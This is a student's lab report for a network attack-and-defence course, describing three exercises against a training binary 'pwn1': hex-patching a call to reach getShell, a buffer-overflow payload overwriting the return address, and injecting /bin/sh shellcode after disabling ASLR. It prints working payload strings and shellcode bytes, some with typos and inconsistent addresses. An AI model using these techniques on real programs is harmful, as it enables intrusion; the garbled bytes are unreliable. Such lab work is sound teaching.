20211918-晋伊甲-2021-2022《网络攻防实践》第九次作业

一、实验内容

1.实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
2.实验要求
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击

二、实验过程

  • 1、手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
    在kali下使用objdump -d pwn1 | more对pwn1文件进行反汇编:

    找到main函数和getshell函数(按Esc后输入/getShell进行搜索),可以看到在main函数中按照正常的运行顺序,执行到call处,EIP应该会指向0x08048ba + 0xffffffd7 = 0x08048491即foo函数的入口地址,所以我们需要修改该偏移量(0xffffffd7)使执行call后EIP指向0x080487d,即getShell函数入口,因此需要将0xffffffd7改为0xffffffc3(0x0804847d - 0x080484ba = 0xffffffc3):

    发现全是乱码,按下ESC退出编辑模式,再输入命令":%!xxd",切换为16进制模式。

    输入:/d7,来进行定位找到d7,

    发现正好第一个d7就是要找的e8d7ffffff,所以直接把d7替换成c3;再使用:%!xxd -r返回,然后保存并退出。
    再次对pwn1进行发汇编,发现主函数call的对象成果转变成了getShell,如下所示。

    如下图所示,这个d7即我们需要修改的地址偏移量,所以将这个d7修改为c3(按下r进行替换),查看修改后的结果是否正确:


  • 2、利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
    使用objdump -d pwn1 | more将pwn1反汇编后查看foo函数,该函数的功能是调用gets读进用户输入的字符串然后用puts函数将字符串输出,但是该函数并没有检查用户输入,所以存在BOF漏洞。
    观察反汇编出的汇编代码得知预留的局部变量的空间为0x38,而gets函数将读取到的字符串存放到0x1c(28个字节)处,根据堆栈结构,当输入字符串长度达到36时,第33~36个字节将会覆盖到EIP中:

    观察上图的汇编代码,发现它调用foo函数后给输入的数据分配了大小为节(0x1c)的缓冲区
    输入命令"perl -e'print"12345678902234567890323456789042\x7d\x84\x04\x08\x0a"' > input"来构建input文件。
    之后输入“(cat input; cat) | ./ home/kali/桌面/pwn1”,来input文件注入到pwn1中
    如下图,可见成功启动了Shell,说明攻击成功
  • 3、注入一个自己制作的shellcode并运行这段shellcode
    先输入apt-get install prelink来安装相关配套软件。
    之后输入下列命令:
    execstack -s pwn1(设置堆栈可执行)
    execstack -q pwn1(查询文件的堆栈是否可执行)
    more /proc/sys/kernel/randomize_va_space(查看地址随机化的状态)
    echo "0" > /proc/sys/kernel/randomize_va_space(关闭地址随机化)

    构造方法是retaddr+nop+shellcode,就是把shellode放到缓冲区后边。
    shellcode“\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80”
    再输入命令:perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode 生成input文件
    再输入命令:(cat input_shellcode;cat) | ./pwn1,把input_shellcode注入pwn1
    使用:ps -ef | grep pwn1找到它的进程号码:80278

    再输入命令gdb打开gdb对pwn1进行调试。然后输入指令attach 80278查看进程
    再输入命令"disassemble foo"对foo函数进行反编译,找到应放置断点的位置,把断点放到ret之前。再输入命令"break *0x080484ae"以此设置断点。


此时发现程序中断了,再输入命令"info r esp"查找栈顶指针所在的位置,并看到地址存放的数据为:0xffffcd50


输入指令"x/16x 0xffffcd50"查看存放内容。其中的0x01020304,就是返回地址的位置。根据input_shellcode可以知道,shellcode就在其后(+4)。
输入:perl -e 'print "A" x 32;print "\xb0\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x67x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x0a"' > input_shellcode”
重新构造input,再把它注入到pwn1中

三、学习中遇到的问题及解决

在进行第一个实践的时候,总是无法通过命令:/d7,来进行定位找到d7,在与同学交流过后发现是自己的命令输入的路径不对

在之后的实验中也多次遇到这样的问题,但是在与同学进行交流后都得到了很好的解决。

四、实验感悟

通过这次实践,实现了对BOF漏洞的攻击,学习了很多书本上学不到的汇编、堆栈等知识,也对shellcode原理有了更加深刻的理解。

posted @ 2022-05-15 20:43  20211918-晋伊甲  阅读(43)  评论(0编辑  收藏  举报